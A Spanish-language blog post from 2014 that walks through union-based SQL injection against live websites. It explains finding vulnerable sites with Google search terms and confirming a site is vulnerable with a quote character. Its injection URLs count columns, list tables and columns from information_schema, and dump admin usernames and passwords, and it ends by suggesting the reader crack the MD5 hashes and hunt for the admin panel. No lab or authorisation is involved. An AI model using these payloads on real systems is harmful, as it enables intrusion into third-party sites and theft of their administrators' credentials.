martes, 16 de diciembre de 2014

Demostración básica de Injección SQL

Hoy veremos una práctica muy básica pero efectiva, vamos a ver como podemos realizar una Injección SQL pero antes tenemos que tener claro algunos conceptos.





¿Qué es SQL?


Lenguaje de consulta estructurado o SQL (por sus siglas en inglés Structured Query Language) es un lenguaje declarativo de acceso a bases de datos relacionales, que permite especificar diversos tipos de operaciones en ellas. de sus características es el manejo del álgebra y el cálculo relacional que permiten efectuar consultas con el fin de recuperar de forma sencilla información de interés de bases de datos, así como hacer cambios en ellas.




Muchos CMS, (Sistemas de Gestión de Contenidos) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar información.





¿Y qué significa SQLi?




Es la abreviatura de SQL Injection. Aunque, SQLi es un bug bastante antiguo, existen  muchos CMS o páginas web con esta vulnerabilidad.





¿Como buscar paginas vulnerables a SQLi?




Con Google, sin embargo, también existen Dorks (Palabras claves para poder encontrar CMS vulnerables). De todas formas no es muy complicado encontrar sitios (Probablemente) vulnerables a SQLi. Un ejemplo muy sencillo sería, dirigirnos directamente a Google y en el buscador 

colocamos esto:



id = cat index.php?





¿Como saber si la página es vulnerable?


Bastante fácil, tan solo tenemos que colocar una ' (Comillas, coma, punto, cualquier carácter) al final de la variable, es decir: 

/index.php?id=28'



nos deberá marcar un error como este (Pueden variar los errores, pero el más común entre 

ellos es este):



You have an error in your SQL syntax; check the manual that corresponds to your MySQL 


server version for the right syntax to use near ''' at line 1



Sí de lo contrario no nos muestra error, quizás el sitio no sea vulnerable, pero esto no quiere decir que no lo sea el programador o administrador puede haber agregado  una función en PHP, para que no se muestren los errores.




Cabe mencionar que es un error muy común por parte de los administradores, ya que eso no arregla el bug, el bug sigue ahí, existen otros métodos de para explotarlo como  la Injección a ciegas pero eso lo veremos otro día.





Explotando el Bug




Ahora viene la parte un poco más complicada, antes de nada tenemos que saber lo siguiente:




UNION se usa para combinar el resultado de un número de comandos 




SELECT en un conjunto de resultados




Ya hemos comprobado que anteriormente nos lanzó un error y que por lo tanto

era vulnerable, ahora deberemos buscar la columna que provoca el error.
Supongamos que tenemos lo siguiente:

 /index.php?cat=45

Y tendremos que dejarlo como en el siguiente ejemplo, le deberemos añadir el símbolo menos (-)
delante de la variable 45 y detrás del símbolo igual (=), y luego le añadimos el "union" más el "select", de esta forma:



/articulo.php?articulo=-230+union+select+1--




Empezamos a partir del numero 1 o el numero 0, y le vamos agregando más números hasta que nos desaparezca el error en pantalla. (Es muy importante poner los guiones al final y las comas en los números).




/articulo.php?articulo=-230+union+select+1,2,3--




En el momento en el que veas uno o más numeros en la pantalla y haya desaparecido el error habremos encontrado la columna vulnerable.






En resumen los números nos marcan que podemos concluir la inyección en este caso me iré sobre el numero 2 (color azul).

Hay que tener en cuenta también, la versión de la base de datos si es 5.*.* - comunity se podrán sacar los nombres de las tablas y columnas, si de lo contrario es inferior a la versión 5,no se podrá extraer los nombres de las tablas y/o columnas, se tiene que hacer a ciegas y es un poco más complicado.

Para saber la versión de la base de datos (SQL) solo agregamos al final de union+select+1,2,3,4,5 database()

Sacando los nombres de las tablas

Remplazamos el numero 2 por group_concat(table_name) algo así:


/articulo.php?articulo=-230+union+select+1,group_concat(table_name),3,4,5
+from+information_schema.tables--

Es importante agregar el +from+information_schema.tables--, nos dará como resultado todos los nombres de las tablas que existen en la Base de dados.



Como se ve en la imagen, tenemos como resultado los nombres de las tablas. Pero hay un problema, el tamaño de la página nos limita la visión y solo vemos una cierta cantidad de numero de tablas. 

Sin embargo,podemos utilizar otra alternativa, en este caso será la opción "limit" que nos permitirá limitar el rango de registro, y así poder acceder a la tabla deseada.

En este caso, quitamos group_concat() y solo dejamos table_name y al final de information_schema.tables agregamos +limit+1,1-- así quedará la url:

/articulo.php?articulo=-230+union+select+1,table_name,3,4,5
+from+information_schema.tables+limit+1,1--

Nos mostrará el nombre de la primera tabla, es decir, tendremos que buscar la tabla de la que queremos sacar los datos.

En este casola tabla que buscamos es admin, ahora vamos a convertirla en ASCII les dejo la herramienta online para el conversor de String a ASCII | http://easycalculation.com/ascii-hex.php

Una vez pasado a ASCII nos quedará algo así:

admin = 97 100 109 105 110

Extración de datos

Modificamos nuestra url algo que quede así (incluyendo el nombre de la tabla, pero convertida a ASCII):

/articulo.php?articulo=-230+union+select+1,group_concat(column_name),
3,4,5+from+information_schema.columns+where+table_name=char(97,100,109,105,110)--

Como resultado nos tendrá que imprimir los nombres de las columnas, por ejemplo:

email, contrasena, usuario, pwd


Esta parte es la más fácil, supongamos que ya sabemos los nombres de la tabla en este caso es admin y las columnas que nos interesan son usuario y pwd (contraseña), ahora hay que extraer los datos de esas dos columnas y para eso hacemos lo siguiente:

/articulo.php?articulo=-230+union+select+1,group_concat(usuario,0x3a,pwd),
3,4,5+from+admin-- 



Con esa simple inyección nos mostrará el usuario y contraseña de la administración. Si la contraseña esta encriptada en MD5 tendremos que utilizar alguna herramienta para poder descifrarla, también podéis utilizar alguna herramienta para encontrar el panel de administrador de la pagina que a veces anda bastante escondido. Y nada más por hoy espero que os sea de ayuda, hasta la próxima!

No hay comentarios:

Publicar un comentario